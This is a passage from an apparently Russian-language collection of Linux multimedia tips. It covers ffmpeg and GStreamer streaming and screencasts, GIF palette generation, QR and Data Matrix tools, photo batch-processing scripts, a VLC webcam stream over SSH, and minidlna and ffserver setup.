       gst-launch-1.0 ximagesrc use-damage=0 ! video/x-raw,format=BGRx ! videoconvert ! video/x-raw,format=I420,framerate=30/1 ! queue leaky=downstream ! x264enc  speed-preset=faster qp-min=30 tune=zerolatency ! queue ! flvmux name=muxer pulsesrc device=alsa_output.pci-0000_00_1b.0.analog-stereo.monitor ! queue ! voaacenc bitrate=128000 ! aacparse ! queue ! muxer. muxer. ! rtmpsink location="rtmp://live.justin.tv/app/live_ВАШ_ID"
    
    Если не работает кодирование аудио, убедитесь что установлен
    
       ffmpeg -f x11grab -s "1920x1080" -r "30" -i :0.0 -f alsa -i pulse -f flv -ac 2 -ar 44100 -vcodec nvenc -s 1280x720 -preset hq -tune film -acodec libmp3lame -threads 0 -strict normal "rtmp://live.justin.tv/app/live_ВАШ_ID"
    
    Также можно просто воспользоваться программным обеспечением  под названием OBS
    
    3. Как задействовать аппаратное кодирование в OpenShot, PiTiVi и других редакторах видео
    
    Первый использует ffmpeg, второй - Gstreamer. Важно чтобы ваш системный ffmpeg
    был скомпилирован с флагами "--enable-nonfree --enable-nvenc". И тогда в списке
    доступных энкодеров появится nvenc. Если и в этом случае он не появляется -
    попробуйте пересобрать libmlt - посредника между OpenShot и ffmpeg.
    
    4. Возможные проблемы
    
    У меня было так, что выбран не тот VA-API backend, и поэтому при запуске
    команды из консоли была ошибка "не удаётся кодировать при помощи
    fglrx_drv_video.so". Возможно что причина в том, что раньше у меня была
    видеокарточка от AMD. Решается так: export LIBVA_DRIVER_NAME=i965. Можно также
    добавить это в /etc/environment.
    
    А вообще, если что-то работает не так то для отладки полезен параметр "export GST_DEBUG=4".
    
    Если не работает стриминг при помощи GStreamer, убедитесь что установлен плагин
    gstreamer-plugins-bad. В openSUSE мне помогла установка пакета gstreamer-plugins-bad-orig-addon.
    
    Для ffmpeg существует патч nvresize, позволяющий кодировать один видеопоток
    сразу в несколько файлов: 240p, 360p, 480p, 720p и 1080p. Патч использует CUDA,
    тогда как основной функционал nvenc использует только аппаратный энкодер.
    Патч применим только к FFmpeg 3.0 и 3.1, а в версии 3.2 он был заменён
    на новую технологию CUVID, умеющую гораздо больше возможностей, и также
    задействующую CUDA.
    
     
    ----* Развёртывание нейросети, используя готовый образ Docker (доп. ссылка 1)   Автор: Abylay Ospan  [комментарии]
     
    Пример быстрого запуска нейросети для классификации объектов на изображениях.
    В системе должен быть установлен docker. Данный пример работает под Linux и
    macOS. Для работы нейросети достаточно CPU (GPU не нужен).
    
    Собственно команда для запуска:
    
       docker run --name segnet --rm -it -v `pwd`/out:/workspace/out aospan/docker-segnet
    
    результат работы будет находиться в каталоге ./out. Вот так выглядят исходные
    картинки и картинки после обработки нейросетью:
    
    
    
    
    
    нейросеть выделила разным цветом объекты относящиеся к разным классам ("стол", "стул" и т.д.)
    
    Для обработки  своих изображений, их необходимо положить в каталог ./in с
    именами  img_001.png,  img_002.png и т.д.
    
    Запуск при этом производить командой:
    
       docker run --name segnet --rm -it -v `pwd`/in:/workspace/in -v `pwd`/out:/workspace/out aospan/docker-segnet
    
    
    Нейросеть позволяет добиться качественного распознавания образов на
    изображении. Применять полученные результаты можно в проектах по безопасности,
    в беспилотных передвижных устройствах (авто, дроны и проч.), бытовой технике и т.д.
    
     
    ----* Настройка видеонаблюдения через веб-камеру ноутбука при помощи VLC   Автор: 赤熊  [комментарии]
     
    Буду краток 
    
       ls -la /dev/video*
       usermod username -aG video
    
    Используется Debian Jessie.
    Стартуем видеозахват с веб-камеры и стримим это всё в порт 8082:
    
       cvlc v4l2:// :v4l2-vdev="/dev/video0" --sout '#transcode{vcodec=x264{keyint=60,idrint=2},vcodec=h264,vb=400,width=800,height=600,acodec=mp4a,ab=32 ,channels=2,samplerate=22100}:duplicate{dst=std{access=http{mime=video/x-ms-wmv},mux=asf,dst=:8082/stream.wmv}}'
    
    
    Для удалённого доступа настроим предварительно ssh по ключам, и отключим
    аутентификацию по паролю. Далее извне (с работы допустим):
    
       ssh somehost -L:8082:localhost:8082
       vlc http://localhost:8082/stream.wmv
    
    Таким образом при включенном ноутбуке можно издалека присмотреться, что же
    делает кот/благоверная/дети/няня/бандиты.
    
     
    ----* Подготовка качественных GIF-файлов из видео при помощи FFmpeg (доп. ссылка 1)   [комментарии]
     
    Появившиеся в FFmpeg 2.6 фильтры для работы с палитрами дали возможность
    существенно увеличить качество преобразования видео в GIF-файлы, за счёт
    создания для них высококачественных палитр.
    
    
    Ранее при необходимости повышения качества GIF-файла можно было отключить
    использование прозрачности, что положительно сказывалось на видео с интенсивным
    движением или изменением цветов. Но отключение прозрачности в несколько раз
    повышало размер файла:
    
       $ ffmpeg -v warning -ss 45 -t 2 -i big_buck_bunny_1080p_h264.mov -vf scale=300:-1 -gifflags -transdiff -y bbb-notrans.gif
       $ ffmpeg -v warning -ss 45 -t 2 -i big_buck_bunny_1080p_h264.mov -vf scale=300:-1 -gifflags +transdiff -y bbb-trans.gif
    
       $ ls -l bbb-*.gif
       -rw-r--r-- 1 ux ux 1.1M Mar 15 22:50 bbb-notrans.gif
       -rw-r--r-- 1 ux ux 369K Mar 15 22:50 bbb-trans.gif
    
    Наиболее оптимальным методом повышения качества преобразования является подбор
    оптимальной палитры, которая для GIF-файлов ограничена 256 цветами. Так как
    создание отдельной палитры для каждого кадра приведёт к расходованию
    дополнительных 768 байт на кадр, имеет смысл подготовить качественную
    глобальную палитру.
    
    Перекодирование разделим на две стадии. На первой стадии сохраним статистику о
    палитрах для каждого кадра при помощи фильтра palettegen. На второй стадии
    создадим сводную палитру при помощи фильтра paletteuse, содержащую цвета,
    близкие к самым часто используемым цветам в кадрах.
    
    Создадим скрипт gifenc.sh:
    
       #!/bin/sh
    
       palette="/tmp/palette.png"
       filters="fps=15,scale=320:-1:flags=lanczos"
    
       ffmpeg -v warning -i $1 -vf "$filters,palettegen" -y $palette
       ffmpeg -v warning -i $1 -i $palette -lavfi "$filters [x]; [x][1:v] paletteuse" -y $2
    
    Для перекодирования следует выполнить:
    
       ./gifenc.sh video.mkv anim.gif
    
    Для перекодирования части изображения (например, начиная с позиции 12:23,
    продолжительностью 35 сек), можно предварительно обрезать ролик командой:
     
       ffmpeg -ss 12:23 -t 35 -i full.mkv -c:v copy -map 0:v -y video.mkv
    
    или воспользовать фильтром trim, поменяв в скрипте строку:
    
       filters="trim=start_frame=12:end_frame=431,fps=15,scale=320:-1:flags=lanczos"
    
    Для оптимизации сводной палитры в фильтре palettegen  можно воспользоваться
    опцией stats_mod. По умолчанию применяется метод  stats_mode=full, при котором
    приоритет отдаётся качеству цветов неизменных частей изображения, таких как
    фон. При указании опции
    stats_mode=diff можно поменять приоритет в сторону изменяющихся частей, таких
    как появляющийся поверх фона текст.
    
    В фильтре paletteuse можно использовать опцию dither для выбора метода
    сглаживания цветов. Предлагается основанный на вероятностном предсказании метод
    dither=bayer (следует подобрать оптимальный размер шаблона через опцию
    dither=bayer:bayer_scale=[1,2,3]) и диффузионные методы dither=floyd_steinberg
    (наиболее популярный), dither=sierra2 (используется по умолчанию) и
    dither=sierra2_4a (быстрый вариант sierra2, учитывающий блоки по 3 пикселя
    вместо 7). Отключить сглаживание можно опцией dither=none.
    
     
    ----* Как задействовать UVD для ускорения декодирования видео в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Для ускорения воспроизведения видео в приложениях поддерживающих API VDPAU с
    использованием аппаратного декодера UVD, присутствующего в GPU AMD, следует
    использовать свежую версию DRM-модуля radeon. Версия с поддержкой UVD войдёт в
    состав ядра Linux 3.10, поэтому для использования UVD до выхода данной ветки
    следует использовать экспериментальное ядро из репозитория drm-next.
    
    
    Устанавливаем заголовочные файлы для VDPAU:
    
       sudo apt-get install libvdpau-dev.
    
    Пересобираем Mesa из Git-репозитория http://cgit.freedesktop.org/mesa/mesa/ При
    выполнении configure следует указать опции "--with-gallium-drivers=r600 --enable-vdpau".
    
    Добавляем в файл /etc/ld.so.conf.d/z.conf строку /usr/local/lib/vdpau и запускаем команду ldconfig.
    
    Ставим пакеты с ядром drm-next (до того как выйдет ядро 3.10), доступные по
    ссылке http://kernel.ubuntu.com/~kernel-ppa/mainline/drm-next/
    
    Устанавливаем прошивку  UVD для используемой карты AMD. Загрузить файл с
    прошивкой можно на данной странице, после чего следует поместить её в
    директорию /lib/firmware.
    
    Перезагружаем систему.
    
    Запускаем любой проигрыватель с поддержкой  VDPAU.
    
     
    ----* Декодирование и создание штрих-кодов QR и Data Matrix в Linux   [комментарии]
     
    Для разбора и кодирования Data Matrix-кодов (оформленный в виде квадрата
    матричный код, состоящий из прямоугольных областей и способный содержать в себе
    несколько килобайт данных) в Linux удобно использовать пакет libdmtx-utils.
    
    Устанавливаем  в Debian/Ubuntu:
    
       sudo apt-get install libdmtx-utils
    
    в Fedora:
    
       sudo yum install libdmtx-utils
    
    
    Кодируем текст из файла test.txt и сохраняем его в изображение test.png:
    
       dmtxwrite  -o test.png test.txt
    
    для управления выводом можно использовать опции:
       "-d N" - задаёт размер модуля в пикселях;
       "-s NxM" - задает размер кодирующих прямоугольников, например, "-s 10x10"
       "-m N" - задаёт отступы от границ изображения в пикселях;
       "-e тип" - задаёт тип кодирования данных:
           b = оптимизация, ориентированная на качество;
           f = оптимизация, ориентированная на скорость;
           a = ASCII (по умолчанию)
           c = C40 (цифры и символы верхнего регистра)
           t = Text (цифры и символы нижнего регистра)
           x = X12  ANSI X12 EDI
           e = EDIFACT (ASCII символы с кодами 32-94)
           8 = Base 256 (все восьмибитные символы)
    
       "-f формат" - задаёт формат изображения для сохранения (список поддерживаемых форматов можно посмотреть через опцию "-l")
    
    Декодируем содержимое Data Matrix-кода, содержащегося в изображении test.png:
    
       dmtxread test.png
    
    
    
    Другие варианты.
    
    Система zbar (http://sourceforge.net/projects/zbar/) позволяет декодировать не
    только QR-коды, но и штрих коды других типов.
    
    Устанавливаем ZBar в Debian/Ubuntu:
    
       sudo apt-get install zbar-tools
    
    в Fedora:
    
       sudo yum install zbar-tools
    
    Декодируем содержимое штрих-кода, содержащегося в изображении test.jpg:
    
       zbarimg test.jpg
    
    
    Еще один вариант декодирования QR-кодов -  использование программы
    libdecodeqr-simpletest из пакета libdecodeqr-examples:
    
       libdecodeqr-simpletest test.jpg
    
    
    
    Для кодирования QR-кодов в Linux можно использовать утилиту qrencode (http://fukuchi.org/works/qrencode/index.en.html):
    
       sudo apt-get install qrencode
    или
       sudo yum install qrencode
    
    Кодируем текст из файла test.txt и сохраняем его в изображение test.png:
    
        qrencode -r test.txt -o test.png
    
    Другие системы кодирования и декодирования QR-кодов:
    * pyqrcode
    * libqr
    * qrcode
    * decodecamera
    * ZXing Decoder Online
    
     
    ----* Создание скринкастов при помощи FFmpeg (доп. ссылка 1)   [комментарии]
     
    Для создания высококачественных скринкастов, видеороликов отражающих
    совершаемые на экране действия, удобно использовать пакет FFmpeg. Для работы
    функции по созданию скринкастов пакет ffmpeg должен быть создан с опцией
    "--enable-x11grab" (уже используется по умолчанию в Ubuntu и многих дистрибутивах).
    
    На первом шаге создаем запись действий на экране, кодеком без потери качества
    (lossless h264), чтобы потом можно было подготовить несколько версий ролика в
    разных форматах (например, можно отдельно создать вариант для YouTube и версии
    с разным качеством кодирования):
    
       ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 \
          -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 output_ll.mkv
    
    где, 
       "-f alsa -ac 2 -i pulse -acodec pcm_s16le" - записываем стереозвук кодеком  pcm_s16le (без потери качества) с использованием звукового сервера PulseAudio (для Linux-систем без PulseAudio можно попробовать "-f alsa -ac 2 -i /dev/dsp" или "-f oss -ac 2 -i /dev/dsp")
       "-f x11grab" - драйвер для записи с экрана;
       "-r 30" - число кадров в секунду (FPS);
       "-s 1024x768 -i :0.0" - размер видео и смещение позиции на экране, напирмер, указав "-s 800x600 -i :0.0+200,100" можно организовать запись блока 800x600 со смещением 200x100 относительно верхнего левого угла экрана;
       "-vcodec libx264 -vpre lossless_ultrafast" - выбираем кодек libx264 без потери качества.
    
    На втором шаге перекодируем созданный ролик в более компактное представление и
    отрезав лишние хвосты:
    
    MP4/h.264:
    
       ffmpeg -ss 00:00:15 -t 00:05:01 -i output_ll.mkv -acodec libfaac \
          -ab 128k -ac 2 -vcodec libx264 -vpre slow -crf 22 -threads 0 video.mp4
    
    Через опции "-ss 00:00:15 -t 00:05:01" организован пропуск первых 15 секунд
    записи и вырезано несколько секунд перед концом (записывается ровно 5 минут и 1 секунда).
    
    OGG/Theora:
    
       ffmpeg -ss 00:00:15 -t 00:05:01 -i output_ll.mkv -acodec libvorbis \
          -ab 128k -ac 2 -vcodec libtheora -b 1000k video.ogg
    
    Matroska/h.264:
    
       ffmpeg -ss 00:00:15 -t 00:05:01 -i output_ll.mkv -acodec libvorbis \
          -ab 128k -ac 2 -vcodec libx264 -vpre slow -crf 22 -threads 0 video.mkv
    
    AVI/xvid:
    
       ffmpeg -ss 00:00:15 -t 00:05:01  -i output_ll.mkv -acodec libmp3lame -ab 128k -ac 2 \
          -vcodec libxvid -qscale 8 -me_method full -mbd rd -flags +gmc+qpel+mv4 -trellis 1 \
          -threads 0 our-final-product.avi
    
    Если необходимо в процессе записи ролика отвлечься и прервать запись, разные
    куски можно записать в отдельные файлы, а затем объединить их командой mkvmerge:
    
       mkvmerge -o complete.mkv part1.mkv +part2.mkv +part3.mkv +part4.mkv
    
     
    ----* Автоматическая обработка фотографий   Автор: Карбофос  [комментарии]
     
    После покупки сканера для фотоплёнок и его применения у меня возникло несколько сложностей:
    
    1. переименование последовательности фотографий в случае сканирования в обратном порядке
    2. автоматическое переворачивание фотографий относительно какой-то оси. Если
    фотография вверх ногами, то это можно разобрать сразу,
    но если у изображений перепутаны стороны, то такое бросается в глаза далеко не
    сразу. Например, это заметно только по одной-двум фотографиям из всей плёнки.
    3. автоматическая обработка мелких дефектов в конвейере, с наиболее полным
    использованием ядер процессора
    
    Для реверсивной последовательности списка имён файлов и изменения в нормальную
    я написал этот скрипт
    
        #!/bin/bash
        #
        # reversenames.sh
        #
        # маска для моих файлов после сканирования
    
        DEFMASK="*.JPG"
    
        REVLIST=$(ls -r *.JPG)
        REVARRAY=($REVLIST)
    
        # только до половины списка обрабатывать
        len=`expr ${#REVARRAY[@]} / 2`
    
        echo "$len"
        j=0
        for i in $DEFMASK; do
          if [ ! -e $i ]; then
            echo "Error: current directory must contain files with the mask $MASK"
            echo
            exit 1
          fi
    
          echo "rename $i -> ${REVARRAY[j]}"
          mv $i $i.old
          mv ${REVARRAY[j]} $i
          mv $i.old ${REVARRAY[j]}
    
          j=`expr $j + 1`
          if [ $j -eq $len ]; then
            break
          fi
    
        done
    
        echo "ready"
    
    
    Для случая, когда нужно поменять стороны фотографий местами я дополнил скрипт,
    найденный в интернете для кручения фотографий на определённый угол. Вот
    расширенная версия этого скрипта:
    
        #!/bin/bash
        #
        # jpegsrotate.sh
        #
    
        if [ -z `which jpegtran` ]; then
          usage
          echo "Error: jpegtran is needed"
          echo
          exit 1
        fi
    
        shopt -s extglob
    
        DEFMASK="*.JPG"
        DEFEVENMASK="*[02468].JPG"
        DEFODDMASK="*[13579].JPG"
        FLIPMASK=""
        DEFDEG=270
    
        function usage() {
          echo
          echo "usage:"
          echo "$0"
          echo "    rotates files with the mask $DEFMASK by $DEFDEG degrees clockwise"
          echo "$0 --even"
          echo "    rotates even files with the mask $DEFEVENMASK by 180 degrees"
          echo "$0 --odd"
          echo "    rotates odd files with the mask $DEFODDMASK by 180 degrees"
          echo "$0 --params \"REGEXP\" (90|180|270)"
          echo "    rotates files with the mask REGEXP by the given aspect ratio clockwise"
          echo "$0 --flip [h|v]"
          echo "    flip pictures horizontal or vertical"
          echo
        }
    
        if [ "$1" == "--even" ]; then
          MASK=$DEFEVENMASK
          DEG=180
        elif [ "$1" == "--odd" ]; then
          MASK=$DEFODDMASK
          DEG=180
        elif [ "$1" == "--flip" ]; then
          MASK=$DEFMASK
          if [ "$2" == "v" ]; then
            FLIPMASK="vertical"
          else
            FLIPMASK="horizontal"
          fi
        elif [ "$1" == "--params" ]; then
          if [ -n "$2" -a -n "$3" ]; then
            MASK=$2
            DEG=$3
          else
            usage
            exit 1
          fi
        elif [ -n "$1" ]; then
          usage
          exit 1
        else
          MASK=$DEFMASK
          DEG=$DEFDEG
        fi
        echo $MASK
        for i in $MASK; do
          if [ ! -e $i ]; then
            usage
            echo "Error: current directory must contain files with the mask $MASK"
            echo
            exit 1
          fi
          echo "$i"
          if [ "$1" == "--flip" ]; then
            jpegtran -flip $FLIPMASK $i > $i.flipped
            mv $i.flipped $i
          else
            jpegtran -rotate $DEG $i > $i.rotated
            mv $i.rotated $i
          fi
        done
    
    Скрипт нужно вызвать следующим образом (флипнуть по горизонтали):
    
       ./jpegsrotate.sh --flip h
    
    Как видно, необходимо наличие программы jpegtran.
    
    Третий пункт с автоматической обработкой самый интересный. Для этих целей я
    выбрал программу ImageMagick не по каким-то причинам. Позже я испробую подобную
    обработку с GIMP, но в этот раз я использовал достаточно интересный ресурс со
    скриптами для обработки изображений http://www.fmwconcepts.com/imagemagick с
    кучей примеров и результатов обработки при вызове скриптов с определёнными параметрами.
    
    Затем я использовал готовый скрипт для циклической обработки графических файлов
    в директории. Скрипт взял здесь.
    
    Но несколько его видоизменил для использования нескольких ядер процессора.
    
        #!/bin/bash 
        # loop_for_fotos.sh
        #
        #проверяем, установлен ли convert
        convert > /dev/null
        if [ $? -ne 0 ] ; then 
          echo "Error: convert is needed, it's a part of ImageMagick" ;
        fi;
        DIR=$1;
        # велосипед, убирающий "/" в конце 
        if [ -z $1 ]; then $DIR=`pwd`; 
        else
          TEMP=`pwd`;
          cd $DIR; TEMP2=`pwd`; 
          cd $TEMP;
          DIR=$TEMP2;
          echo $TEMP2;
        fi; 
        #наши старые файлы копируем в DIR.orig
        echo $DIR
        mkdir $DIR/orig;
        for i in `ls $DIR/*.JPG`; 
        do
          cp $i orig/;
        done;
        ERR=0;
        CPUS=1;
    
        echo "Start in " $DIR
    
        files=$(ls $DIR/*.JPG)
        list=($files)
        len=${#list[@]}
    
        echo $len
        for(( i=0; i<$len ; i=i+$CPUS))
        do
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              ./denoise -f 2 -s "20x20+203+152" ${list[i+j]} ${list[i+j]}.den.jpg && ./isonoise -r 5 ${list[i+j]}.den.jpg ${list[i+j]}.iso.jpg &
            fi
          done;
    
          for job in `jobs -p` 
          do 
            echo $job 
            wait $job || let "FAIL+=1" 
          done;
        
          if [ $? -eq 0 ]; then 
            echo "denoise, isonoise successfully ;) next step"; 
          else ERR=$[$ERR+1]; #считаем ошибки
          fi;
    
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              rm  ${list[i+j]}.den.jpg
            fi
          done;
    
        done;
    
        CPUS=2;
    
        echo "Start in brightness calibration"
    
        for(( i=0; i<$len ; i=i+$CPUS))
        do
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              ./omnistretch -m HSB -ab 1 -s 1.5 ${list[i+j]}.iso.jpg ${list[i+j]} &
            fi
          done;
    
          for job in `jobs -p` 
          do 
            echo $job 
            wait $job || let "FAIL+=1" 
          done;
        
          if [ $? -eq 0 ]; then 
            echo "omnistretch successfully ;) next step"; 
          else ERR=$[$ERR+1]; #считаем ошибки
          fi;
    
          for(( j=0; j<$CPUS ; j++))
          do
            if [ ${list[i+j]} ]; then
              rm  ${list[i+j]}.iso.jpg
            fi
          done;
    
        done;
    
        if [ $ERR -eq 0 ]; then 
          echo "Job done!";
        else echo "Job done with some errors.";
        fi;
        echo "You can find your old files in $DIR.orig"
        #end
    
    Вызываем скрипт с параметром "." для актуального директория, где находятся наши фотографии.
    
    В первом цикле я использовал вызов двух скриптов 
    
        ./denoise -f 2 -s "20x20+203+152" ${list[i+j]} ${list[i+j]}.den.jpg \
        && ./isonoise -r 5 ${list[i+j]}.den.jpg ${list[i+j]}.iso.jpg
    
    для последовательного отфильтровывания небольших дефектов. В этих скриптах
    задействованы оба ядра, поэтому для цикла обработки использовалась переменная
    CPUS=1, если в вашем процессоре четыре ядра, то можете увеличить значение в два
    раза и т.д.
    
    Для цикла обработки яркости 
    
       ./omnistretch -m HSB -ab 1 -s 1.5 ${list[i+j]}.iso.jpg ${list[i+j]} &
    
    уже использовалось вызов двух скриптов одновременно, т.к. при вызове одного
    используется только одно ядро. Поэтому значению переменной CPUS перед циклом
    было присвоено 2.
    
    Конечно, скрипт можно несколько улучшить, встроив автоматическое распознание
    количества ядер в системе. Но это уже - по желанию.
    
     
    ----* Скрипт для нарезки видео для Youtube (доп. ссылка 1)   Автор: bst  [комментарии]
     
    Простой скрипт для нарезки видео для Youtube. Использует mplayer и ffmpeg, так
    что эти пакеты должны быть установлены, желательно из debian-multimedia. По
    умолчанию режет видео на куски по 14 минут 50 секунд, это значение можно
    поменять. Например
    
       ./video_split.sh film.avi
    
    порежет видео на три части с именами part000-film.avi, part001-film.avi,
    part002-film.avi, длительностью 14:50 каждая (890 секунд), а
    
       ./video_split.sh 445 film.avi
    
    порежет видео на шесть частей длительностью 7:25 (445 секунд) каждая.
    
    Скрипт video_split.sh:
    
       #!/bin/sh
    
       usage()
       {
           echo "Usage:"
           echo "    $0 [time frame in seconds] <file name>"
       }
    
       set -e
    
       # part length in seconds by default
       part=890
    
       # check parameters
       if [ $# -eq 2 ]; then
           part="$1"
           file="$2"
       elif [ $# -eq 1 ]; then
           file="$1"
       else
           usage
           exit 1
       fi
       if [ -z "$file" ]; then
           usage
           exit 1
       fi
    
       # counters
       i=0
       secs=0
    
       # video length in seconds
       len=`mplayer -identify -frames 0 "$file" 2>/dev/null | grep '^ID_LENGTH=' | sed 's/ID_LENGTH=//;s/\..*//'`
    
       echo "Video length: $len"
    
       # split
       while [ $secs -lt $len ]; do
           suffix=`printf '%03d' $i`
           ffmpeg -vcodec copy -acodec copy -ss $secs -t $part -i "$file" "part${suffix}-${file}"
           i=`expr $i + 1`
           secs=`expr $secs + $part`
       done
    
     
    ----* Преобразование SWF-видео в AVI или OGG (доп. ссылка 1)   [комментарии]
     
    Для преобразования видеоролика, упакованного в SWF-файл (не в FLV), можно
    использовать скрипт edit.py из пакета pyvnc2swf:
    
       sudo apt-get install pyvnc2swf ffmpeg
    
    Файл edit.py находится в директории /usr/share/pyvnc2swf/
    
       apt-file search edit.py
       pyvnc2swf: /usr/share/pyvnc2swf/edit.py
    
    Преобразуем SWF в FLV:
    
       /usr/share/pyvnc2swf/edit.py -o test.flv test.swf
    
    Для перекодирования в AVI или OGG используем ffmpeg
    
       ffmpeg -i test.flv output.ogg
    или
       ffmpeg -i test.flv output.avi
    
     
    ----* Удаление из файла с фотографией всех EXIF-тегов, кроме GPS (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Для загрузки картинки в Wikipedia иногда требуется почистить все EXIF-теги,
    оставив только территориальную привязку. Сделать этом можно при помощи утилиты exiftool:
    
       exiftool -overwrite_original -all= -tagsfromfile @ -gps:all file.jpg
    
     
    ----* Настройка DLNA-сервера для обращения к мультимедиа коллекции с телевизора (доп. ссылка 1)   Автор: Karapuz   [комментарии]
     
    В современной бытовой технике, например в телевизоре Samsung LE32B652T4W,
    поддерживается протокол DLNA (http://ru.wikipedia.org/wiki/DLNA), позволяющий
    организовать обращения к контенту других устройств. Было решено расшарить
    мультимедиа контент через DLNA-сервер под Linux.
    
    
    Исследуем варианты
    
    Судя по статье на elinux.org существует 3 реализации DLNA сервера под Linux:
    
    1. uShare
    2. Rygel
    3. minidlna
    
    Не буду писать много про преимущества и недостатки каждого. Скажу просто, Rygel
    у меня вылетел и высыпал в консоль кучу отладочной информации. uShare
    заработал, но остановился на сканировании первого же каталога. Не понимает он
    кириллицу. Проблема известная и вроде как не решена, впрочем я сильно не
    исследовал этот вопрос, потому могу ошибаться. Остался minidlna. И он у меня
    заработал на ура.
    
    Настраиваем и поднимаем
    
    Скачиваем последнюю версию сервера и распаковываем архив. Внутри не будет
    исходников, там лежит бинарник minidlna и файл конфигурации minidlna.conf. Файл
    конфигурации копируем в /etc, а бинарник в /usr/sbin.
    
    Приступим к конфигурированию сервера. Ни чего сложного в этом нет. Приведу
    часть моего конфига, ту, которую я изменил.
    
    
       media_dir=V,/media/hdd/Медиа/Видео
       media_dir=A,/home/user/Моя музыка
       media_dir=P,/home/user/Мои рисунки
    
       notify_interval=60
    
    
    То есть я указал путь для контента (media_dir=). При этом буквы V, A и P
    указывают на характер контента. V - видео, A - аудио и P - картинки. Можно без
    этих букв, просто после знака равно сразу указать путь. Обратите внимание,
    название некоторых каталогов - minidlna все кушает на ура, даже пробелы не
    нужно экранировать.
    
    Параметром notify_interval указан интервал в секундах для автоматического
    обнаружения новых файлов. Иногда, после копирования нового фильма, хочется
    сразу его посмотреть, и не ждать 900 секунд, которые установлены по умолчанию.
    
    Запускаем
    
    Все просто
    
       minidlna -d -f /etc/minidlna.conf
    
    и можно идти и смотреть фильмы. Но как быть с автозапуском? Можно конечно
    поместить команду в стандартный гномовский или кдешный автозапуск. Но на мой
    взгляд лучше воспользоваться init.d скриптом.
    
    
       #! /bin/sh
    
       # chkconfig: 345 99 10
       # description: Fedora Startup/shutdown script for MiniDLNA daemon
    
       # If you have chkconfig, simply:
       # chkconfig --add minildna
    
       # Original author: Perry Clark
    
       ## BEGIN INIT INFO
       # Provides: minidlna
       # Required-Start: $local_fs $remote_fs $syslog $network
       # Should-Start:
       # Required-Stop: $local_fs $remote_fs $syslog $network
       # Should-Stop:
       # Default-Start: 3 4 5
       # Default-Stop: 0 1 2 6
       # Short-Description: Minidlna
       # Description: DLNA Media Server
       ### END INIT INFO
    
       ## EDIT FROM HERE
    
       # Installation details
       MINIDLNA="/usr/sbin/minidlna"
       ARGS="/etc/minidlna.conf"
    
       # Where to keep a log file
       MINIDLNA_LOG="/var/log/minidlna.log"
    
       # Where the PID lives
       PID_FILE="/var/run/minidlna.pid"
    
       ## STOP EDITING HERE
    
       # The path that is to be used for the script
       PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
       set -e
    
       # Only start if we can find the minidlna.conf.
       test -x $MINIDLNA || exit 0
    
       # Parse command line parameters.
       case $1 in
         start)
           echo -n "Starting MiniDLNA: "
           $MINIDLNA -f $ARGS -P $PID_FILE >> $MINIDLNA_LOG 2>&1
           echo "ok"
           ;;
         stop) 
          echo -n "Stopping MiniDLNA: "
            for pidf in `/bin/ls $PID_FILE 2>/dev/null`; do
             if [ -s $pidf ]; then
               kill `cat $pidf` >/dev/null 2>&1
             fi
                 rm -rf $PIF_FILE
             done 
          echo "ok"
          ;;
         restart|reload|force-reload)
         echo "Restarting MiniDLNA: "
       
         $0 stop
           sleep 2
           $0 start
    
           ;;
         *)
             # Print help
             echo "Usage: /etc/init.d/minidlna {start|stop|restart|       reload|force-reload}"
             exit 1
             ;;
       esac
    
       exit 0
    
    Называем скрипт minidlna, копируем в /etc/init.d, присваиваем права 755 и добавляем в автозапуск.
    
       chmod 755 minidlna
       sudo chkconfig minidlna on
    
    Запускать и останавливать minidlna вручную можно командами:
    
       sudo /etc/init.d/minidlna start
       sudo /etc/init.d/minidlna stop
    
    После запуска minidlna будет сканировать каталоги с контентом. Это может занят
    несколько минут. За ходом сканирования можно следить в файле
    /tmp/minidlna/minidlna.log. Если после изменения путей в файле конфигурации
    телевизор не видит новых каталогов, попробуйте удалить /tmp/minidlna/files.db и
    перезапустить сервер.
    
    И напоследок, телевизор и сервер подключены через WiFi маршрутизатор D-Link DIR-300.
    
     
    ----* Организация вещания потокового Flash-видео средствами ffserver и ffmpeg (доп. ссылка 1)   Автор: wizard  [комментарии]
     
    ffserver идёт в комплекте с ffmpeg и выполняет роль медиа-сервера - получает
    видеопоток от ffmpeg, который может быть запущен на другой машине, и раздаёт
    его пользователям.
    
    Каждый получаемый поток называется Feed-ом (далее будет просто фид). Таких
    потоков может быть несколько, так же как и отдаваемых (выходных). FFmpeg у нас
    будет захватывать видео с веб-камеры или читать из файла.
    
    Сначала настроим ffserver, правим /etc/ffserver.conf:
    
       Port 8090
       BindAddress 0.0.0.0
       MaxClients 100
       MaxBandwidth 20000
       NoDaemon
      
       # Фид, надо запомнить feed.ffm, он нам потребуется при запуске ffmpeg
       <Feed feed.ffm>
          File /tmp/feed.ffm
          FileMaxSize 3M
       </Feed>
       <Stream test.flv>
          # Ранее объявленный фид
          Feed feed.ffm
          Format flv
          VideoCodec flv
          VideoFrameRate 30
          VideoBufferSize 80000
          VideoBitRate 200
          # Качество видео от 1 до 31, 1 == отлично 31 == фи!
          VideoQMin 1
          VideoQMax 5
          # Разрешение, везде должно быть одинаково!
          VideoSize 352x288
          PreRoll 1
          # Если у вас есть микрофон, или вы транслируете видео со звуком, закомментируйте эту строчку
          Noaudio
       </Stream>
       
       # Флешка test.swf для просмотра трансляции
       <Stream test.swf>
          Feed feed.ffm
          # Будет запускаться в Adobe Flash Player
          Format swf
          VideoCodec flv
          VideoFrameRate 30
          VideoBufferSize 50000
          VideoBitRate 100
          VideoQMin 1
          VideoQMax 5
          # Разрешение, везде должно быть одинаково!
          VideoSize 352x288
          PreRoll
          # Если у вас есть микрофон, или вы транслируете видео со звуком, закомментируйте эту строчку
          46. Noaudio
       </Stream>
    
    Запускаем ffserver:
    
       $ ffserver
    
    Запускаем ffmpeg:
    
       $ ffmpeg -s 352x288 -r 30 -f video4linux2 -i /dev/video0 http://localhost:8090/feed.ffm
    
    -s разрешение, указанное в конфурации ffserver, 
    -r количество кадров/секунду, 
    -f формат, 
    -i путь к камере (или к видео-файлу), 
